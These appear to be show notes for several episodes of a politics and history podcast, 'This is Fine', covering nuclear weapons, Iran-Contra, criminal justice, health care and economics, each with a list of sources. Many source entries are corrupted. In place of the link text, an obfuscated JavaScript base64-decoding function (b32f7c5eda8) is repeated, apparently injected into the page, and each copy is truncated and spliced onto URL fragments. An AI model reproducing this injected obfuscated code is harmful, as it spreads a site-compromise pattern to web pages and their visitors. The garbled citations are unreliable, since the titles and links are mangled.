This is Fine

Welcome to Episode 1.16: No Nukes Is Good Nukes, or Is It? Thanks for listening, Finers; please subscribe and leave us a review on iTunes or your favorite podcast app, and make sure to keep a copy of this episode in your local fallout shelter. In this two-parter, we get down into the details of nuclear weapons history with Alex Wellerstein of the Stevens Institute of Technology. We discuss various efforts intended to achieve nuclear disarmament, who has the authority for nuclear weapons use, what are the biggest threats facing us in the future, and what you can do to reduce your risk of perishing in a nuclear attack.

This is part 1 of this episode, with part 2 coming approximately a week from today. In two weeks, we'll return with a deep dive into post-Soviet Russian history, with a special focus on US-Russia relations.

Resources for the podcast:

• Alex Wellerstein's page at Stevens
• Nukemap
• Mike Davis, Buda's Wagon: A Brief History of the Car Bomb

Welcome to This Is Fine episode 1.15: Contraventional Wisdom. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and remember that George Bush the Elder pardoned the Iran-Contra criminals to protect himself from criminal liability.

In this week’s podcast, we talk about Iran-Contra, a little over thirty years after Reagan’s apology to the country for the scandal in March 1987.  We focus mainly on Malcolm Byrne’s conclusive 2014 book, “Iran-Contra: Reagan’s Scandal and the Unchecked Abuse of Presidential Power,” which takes advantage of extensive primary source documents unavailable to Independent Counsel Lawrence Walsh during his investigation of the scandal in the late 1980s.  We discuss the scandal and its parallels to the Trump administration today.

We’ll return in two weeks with This is Fine 1.16, discussing nuclear non-proliferation.

Resources for the podcast (in order of discussion):

• Malcolm Byrne: function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andal-Unchecked-Presidential/dp/0700619917" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.amazon.com/Iran-Contra-Reagans-Scandal-Unchecked-Presidential/dp/0700619917&source=gmail&ust=1499475732498000&usg=AFQjCNFxadLaLcGqtwh_eMFSZUYjYNkcSQ">Iran-Contra: Reagan's Scandal and the Unchecked Abuse of Presidential Power

• Malcolm Byrne, staff biography, National Security Archive

• Arms Export Control Act, State Department

• function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-amendment" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.gilderlehrman.org/history-by-era/age-reagan/timeline-terms/boland-amendment&source=gmail&ust=1499475732498000&usg=AFQjCNGO1hVfyjfSFTTcwjXfXh1v13eHQQ">Boland Amendment, Gilder Lehrman Institute of American History

• Executive Order 12333, National Archives

• Alfonso Chardy, “Despite ban, U.S. helping contras,” Miami Herald [apologies, Tony Avirgan and Martha Honey were freelancers]; the Herald staff won the 1987 Pulitzer for National Journalism

• Ronald Reagan, “Address on Iran-Contra,” March 4, 1987

• Tower Commission Excerpts, The American Presidency Project

• “Fawn Hall Testimony: Iran-Contra Scandal Investigation Day 19 (1987)”

• Joel Cohen, function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-the-immunity-game" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=http://thehill.com/blogs/pundits-blog/the-administration/327618-michael-flynn-and-the-immunity-game&source=gmail&ust=1499475732498000&usg=AFQjCNFL4wSLYkR8WfK-cYzMeqxdZNcKUQ">Flynn and the Immunity Game, The Hill

• function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6anding_the_Iran_Contra_Affair/thelegalaftermath.php" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.brown.edu/Research/Understanding_the_Iran_Contra_Affair/thelegalaftermath.php&source=gmail&ust=1499475732499000&usg=AFQjCNFrNP_SSmjQG__27RJzP8STTHLO7A">Understanding the Iran-Contra Affairs: The Legal Aftermath, Brown University

• David Johnston, “Bush Pardons 6 in Iran Affair, Aborting a Weinberger Trial; Prosecutor Assails 'Cover-Up'”, New York Times

• Larry Sabato, The 1994 Election in Virginia: The Senate Race From Hell, Cooper Center

• [example of how conservatives view the lessons of Iran-Contra:]  Gerald Seib, “What Trump Can Learn From Reagan’s Iran-Contra Experience,” Wall Street Journal

Welcome to This Is Fine episode 1.14: Heads I Win, Tales You Lose. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, but be sure to seek legal advice before listening to this podcast.

In this week’s podcast, Judith Miller, a law professor at the University of Chicago who worked as a federal public defender, joins us to give a public defender’s perspective on our criminal justice system.  We discuss some of the criminal and civil protections for police officers, including ways in which the exclusionary rule has been hollowed out.

We also discuss the ways that the defense is handicapped relative to the prosecution, in pre-trial evidence gathering, sentence reduction offers for testimony, permissible bending of the truth, and even penalties for misconduct.

We’ll return in two weeks with This is Fine 1.15, as we discuss the surprisingly relevant criminal foreign policy scandal that did not take down a sitting President, Iran-Contra.

Resources for the podcast (in order of discussion):

• Judith P. Miller, University of Chicago Law School
• Federal Criminal Justice Clinic Moves to Dismiss Cases because ATF Discriminated on the Basis of Race, UChicago Law School (includes Motions to Dismiss and Expert Report of Professor Jeffrey Fagan)
• Jason Meisner and Annie Sweeney, “ATF sting operation accused of using racial bias in finding targets, with majority being minorities,” Chicago Tribune
• “Entrapment - Proving Predisposition,” Offices of the United States Attorneys
• Adam Wisnieski, “Can law enforcement use "fake" crimes to create criminals?”  CBS News
• Jeffrey A. Fagan, Columbia Law School
• Jeff Fisher and Rob Arthur, “Inside the Algorithm That Tries to Predict Gun Violence in Chicago,” The Upshot, New York Times
• “Exclusionary Rule,” “Fruit of the Poisonous Tree,” Wex Legal Dictionary, Cornell Law School
• “United States v. Leon,” Oyez
• “Opinion analysis: Reasonable mistakes of law by police do not violate the Fourth Amendment,” scotusblog.com
• Chase Madar, Why It’s Impossible to Indict a Cop, The Nation
• “Qualified Immunity,” Wex Legal Dictionary, Cornell Law School
• Rachel Barkow and Mark Osler, “Designed to Fail: The President's Deference to the Department of Justice in Advancing Criminal Justice Reform,” William & Mary Law Review (linked on SSRN)
• President’s Council of Advisors on Science and Technology, “Forensic Science in Criminal Courts: Ensuring Scientific Validity of Feature-Comparison Methods” Executive Office of the President,
• Rebecca McCray, “Justice Department Says No Thanks to Forensic Science Report,” takepart.org
• “The Case that Challenged Leniency Deals,” Frontline, PBS
• Oren Bar-Gill and Omri Ben-Shahar, “The Prisoners’ (Plea Bargain) Dilemma,” Regulation (linked at cato.org)
• “Prosecuted by her legal counterpart: 'It destroyed my life in so many ways”, The Guardian
• “Orleans DA's office issued 'fake subpoenas' to pressure witnesses: report,” The Times-Picayune
• Eugene Volokh, “Judge Kozinski on prosecutorial misconduct,” Washington Post
• “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andatory-minimums/">Mandatory Minimums and Sentencing Reform,” Criminal Justice Policy Foundation
• Cyrus Vance, cyvanceforda.com
• Rebecca Ruiz, “Attorney General Orders Tougher Sentences, Rolling Back Obama Policy,” New York Times

 

Welcome to This Is Fine episode 1.13: Mo’ Prisons, Mo’ Problems. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and play this podcast during your next traffic stop.

In this week’s podcast, we discuss mass incarceration and some of the injustice in our criminal justice system.  We discuss Michelle Alexander’s The New Jim Crow and Chris Hayes’ A Colony in a Nation.

We briefly touch on order: police shootings, underpolicing, and the difficulty of prosecuting police misconduct.  We also look at the law: tax farming of citizens, prosecutorial discretion and misconduct, plea bargains, and the consequences of judicial elections.  Finally we look at some possible criminal justice reforms.

We’ll return in two weeks with This is Fine 1.14, with special guest Judith Miller (but not that Judith Miller), and continue discussing our criminal justice system, this time from the perspective of a public defender.

Resources for the podcast (in order of discussion):

• Peter Wagner and Alison Walsh, “States of Incarceration: The Global Context 2016,” Prison Policy Initiative

• Cindy Chang, “Louisiana is the world's prison capital,” Times-Picayune

• Tom Jackson, “Sessions takes federal crime policy back to the ’80s,” Washington Post

• Sarah Burns, “Why Trump Doubled Down on the Central Park Five,” New York Times

• Michelle Alexander, The New Jim Crow

• Chris Hayes, A Colony in a Nation

• Richard Nixon, “Address Accepting the Presidential Nomination at the Republican National Convention in Miami Beach, Florida”

• Craig Atkinson, Do Not Resist

• Radley Balko, “A day with ‘killology’ police trainer Dave Grossman”

• Jacey Fortin, “Police Officer Says He Was Fired for Not Shooting. Now He’s Suing.”

• Caila Domonoske, “Number Of Police Officers Killed By Firearms Rose In 2016, Study Finds

• “US police shootings: How many die each year?,” bbc.com

• Martin Kaste, “Open Cases: Why One-Third Of Murders In America Go Unresolved”

• Jill Leovy, Ghettoside: A True Story of Murder in America

• Chase Madar, Why It’s Impossible to Indict a Cop, The Nation

• Mark Berman and Wesley Lowery, “The 12 key highlights from the DOJ’s scathing Ferguson report,” Washington Post

• Joe Sterling, “A new Alabama law makes sure Confederate monuments are here to stay,” CNN.com

• “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andrieu-addresses-removal-of-confederate-statues/2017/05/31/cbc3b3a2-4618-11e7-8de1-cec59a9bf4b1_video.html" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.washingtonpost.com/video/national/full-speech-mitch-landrieu-addresses-removal-of-confederate-statues/2017/05/31/cbc3b3a2-4618-11e7-8de1-cec59a9bf4b1_video.html&source=gmail&ust=1496689065073000&usg=AFQjCNFRfqZRhRXUqGr3nrsXufUS1PuZZA">Watch: New Orlean's mayor's moving speech on removal of Confederate monuments,” Washington Post

• Eric Bradner and Eugene Scott, “'Mothers of the Movement' makes case for Hillary Clinton,” CNN.com

• Jennifer Gonnerman, “Before the Law,” The New Yorker

• Mark Kleiman, function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andatory-sentencing-and-drug-control/" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=http://www.samefacts.com/2017/05/drug-policy/mandatory-sentencing-and-drug-control/&source=gmail&ust=1496689065073000&usg=AFQjCNFsha7tXmz_crYsx4WGBkLzjayCLA">“Mandatory Sentencing and Drug Control,” samefacts.com

• John Kane, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-the-innocent#.f6kuWmtHF" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.themarshallproject.org/2014/12/26/plea-bargaining-and-the-innocent%23.f6kuWmtHF&source=gmail&ust=1496689065073000&usg=AFQjCNHrrvSTtLuaK13KebofCfx_BcHRFw">Plea Bargaining and the Innocent,” The Marshall Project

• Eli Hager, “Why was Walter Scott Running?” The Marshall Project

• Asset Forfeiture Abuse, aclu.org

• John Pfaff, Locked In: The True Causes of Mass Incarceration—and How to Achieve Real Reform

• Alice Speri, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6andidate-for-da-an-interview-with-larry-krasner/" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://theintercept.com/2017/05/16/meet-philadelphias-progressive-candidate-for-da-an-interview-with-larry-krasner/&source=gmail&ust=1496689065074000&usg=AFQjCNE23uazZNxDM9Tr4uY3yzMMmgTJyw">Meet Philadelphia’s Progressive Candidate for DA: An Interview with Larry Krasner,” The Intercept

• Andrew Cohen, “When Prosecutors Admit to Cheating”

Welcome to This Is Fine episode 1.12. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and remember that this podcast is “in-network” for most insurance plans.

In this week’s podcast, we take on the state of American health care, discussing at length the recently passed Republican zombie bill, the American Health Care Act, as well as Elizabeth Rosenthal’s book, An American Sickness, which discusses health care’s broken cost structure.

We discuss some of the paths forward for health care reform, and then close with a rare foray into current events, as the Trump administration’s recklessness manages to flabbergast even us.

We’ll return in two weeks with This is Fine 1.13, discussing mass incarceration.

Resources for the podcast (in order of discussion):

• Philip Klein, “Obamacare repeal effort stumbles into Senate, plagued by philosophical incoherence,” Washington Examiner

• Elizabeth Rosenthal, An American Sickness: How Healthcare Became Big Business and How You Can Take It Back

• Elizabeth Rosenthal, “Those Indecipherable Medical Bills? They’re One Reason Health Care Costs So Much,” New York Times

• Sarah Kliff, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-start-getting-real" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.vox.com/2014/8/5/5970685/when-health-care-prices-stop-being-hidden-and-start-getting-real&source=gmail&ust=1495608031172000&usg=AFQjCNGM5KNQk3zfXw_kRYksWLcPA7b-vQ">When health care prices stop being hidden, and start getting real,” Vox.com

• Chris Ladd, “Socialism for White People,” politicalorphans.com

• Nate Cohn, “Trump Supporters Have the Most to Lose in the G.O.P. Repeal Bill,” New York Times: The Upshot

• Thomas Frank, What’s the Matter with Kansas?

• Goodhart’s Law

• Danielle Kurtzleben, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6anders-proposals-would-add-18-trillion-to-debt-over-10-years" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=http://www.npr.org/2016/05/09/477402982/study-sanders-proposals-would-add-18-trillion-to-debt-over-10-years&source=gmail&ust=1495608031173000&usg=AFQjCNFJ1naKzG92zWrx9HE1_fx47uGOig">Study: Sanders' Proposals Would Add $18 Trillion To Debt Over 10 Years,” npr.org

• President Obama, Ezra Klein, and Sarah Kliff, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-politics/2017/1/6/14193334/obama-vox-interview-transcript" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.vox.com/policy-and-politics/2017/1/6/14193334/obama-vox-interview-transcript&source=gmail&ust=1495608031173000&usg=AFQjCNEn7kdJ4mVrnRc6_NoX23LsgUAT4A">Transcript: President Obama talks to Vox about Obamacare's future”

• Dean Baker, ““Drugs are Cheap: Why Do We Let Governments Make Them Expensive?” CEPR

• Matt Bruenig, “How to Improve the Plight of Families With Children,” demos.org

• Jerry Vinokurov, “You Don’t Have to Give Bullshit a Platform,” blog.grapesmoker.net

• Hadas Gold, “New York Times publisher sends personal appeal to those who canceled over Bret Stephens,” Politico.com

• Norm Ornstein, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-conservatives-are-worse/373044/" target="_blank" data-saferedirecturl="https://www.google.com/url?hl=en&q=https://www.theatlantic.com/politics/archive/2014/06/yes-polarization-is-asymmetric-and-conservatives-are-worse/373044/&source=gmail&ust=1495608031184000&usg=AFQjCNHEFTVnf-M_ZyMdGjhMU3vzgG1dFA">Yes, Polarization Is Asymmetric—and Conservatives Are Worse,” The Atlantic

Welcome to This Is Fine episode 1.11: The New, New Marshall Plan. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and use a printout of this link as your token the next time you play Monopoly!

In this week’s podcast, guest Marshall Steinbaum, a senior economist and fellow at the Roosevelt Institute, joins us to discuss how there is no free market to be found in the state of nature and how the United States has always had an active industrial policy, often favoring the wealthy.  

We discuss why the movement to defund and privatize public goods like education coincided with the civil rights’ movement attempt to extend those goods to non-whites.  Finally, we touch on the ways in which corporate and shareholder power, and the decline of progressive taxation have made the economy more favorable to capital and more hostile for labor.

We’ll return in two weeks with This is Fine 1.12.

Resources for the podcast (in order of discussion):

• Marshall Steinbaum, Roosevelt Institute Biography
• Janet Yellen, “Macroeconomic Research After the Crisis,” Federal Reserve
• Elizabeth Shermer, “Indentured Studenthood: The Higher Education Act and the Burden of Student Debt,” New Labor Forum
• Gary Becker, “Human Capital: A Theoretical and Empirical Analysis, with Special Reference to Education,” NBER
• Jelani Cobb, “The Failure of Desegregation,” The New Yorker
• Kate Taylor, “Family by Family, How School Segregation Still Happens,” The New York Times
• Beth Fertig, “Advice from Jason Jones to Upper West Side Parents: Don't Talk to the Press,” WNYC
• Matthew Stoller, “How Democrats Killed Their Populist Soul,” The Atlantic (again)
• Seamans, Singer, Steinbaum, Swanson: “Will Robots Take Our Jobs?  We May be Overreacting,” Fortune Magainze
• David Autor, “The Polarization of Job Opportunities in the U.S. Labor Market”
• Beaudry, Green, and Sand, “The Great Reversal in the Demand for Skill and Cognitive Tasks”
• Jeff Cox, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6and-a-half-trillion-dollars-in-cash-overseas.html">US companies are hoarding $2.5 trillion in cash overseas”
• Oliver Hart and Bengt Holmstrom, “The Sveriges Riksbank Prize in Economic Sciences in Memory of Alfred Nobel 2016”
• David Weil, The Fissured Workplace
• Andrei Shleifer and Larry Summers, “Breach of Trust in Hostile Takeovers”
• Tax Policy Center, “Historical Highest Marginal Income Tax Rates”
• Doytch and Cakan, “Growth Effects of Mergers and Acquisitions: A Sector-level Study of OECD countries”
• Stiglitz, Abernathy, Hersh, Konczal, Holmberg, “Rewriting the Rules of the American Economy”
• Iber and Konczal, “function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6anders">Karl Polanyi for President”
• Boushey, De Long, and Steinbaum, “After Piketty: The Agenda for Economics and Inequality”

Welcome to This Is Fine episode 1.10: Fox Populi. Thank you very much for listening, Finers.  Please subscribe and review this podcast on iTunes or your favorite app, and share this link with your Comcast representative the next time you’re on hold.

In this week’s podcast, guest Sam Thielman helps us understand the business model that has sustained Fox News.  We also talk about the ways in which state and local politicians have conspired with large corporations in places like Chattanooga, Tennessee to keep rural services like broadband expensive and only available through corporate oligopolies.  Is fighting against monopoly power a way forward for the Left?  

We’ll return in two weeks with This is Fine 1.11, when Jerry rejoins us with some special guests to discuss industrial policy in the United States.

Referenced on the podcast (in order of discussion):

• Rick Perlstein, “I Thought I Understood the American Right:  Trump Proved Me Wrong,” New York Times Magazine
• William F Buckley, “Why the South Must Prevail,” National Review  
• Gabriel Sherman, The Loudest Voice in the Room: How the Brilliant, Bombastic Roger Ailes Built Fox News--and Divided a Country
• Bat Boy & the Reptilians
• Lisa de Moraes, Cable TV Rankings 2016, Deadline.com
• Amy Kaufman, “President Obama to Bill Maher: 'If I watched Fox News, I wouldn’t vote for me either,” Los Angeles Times
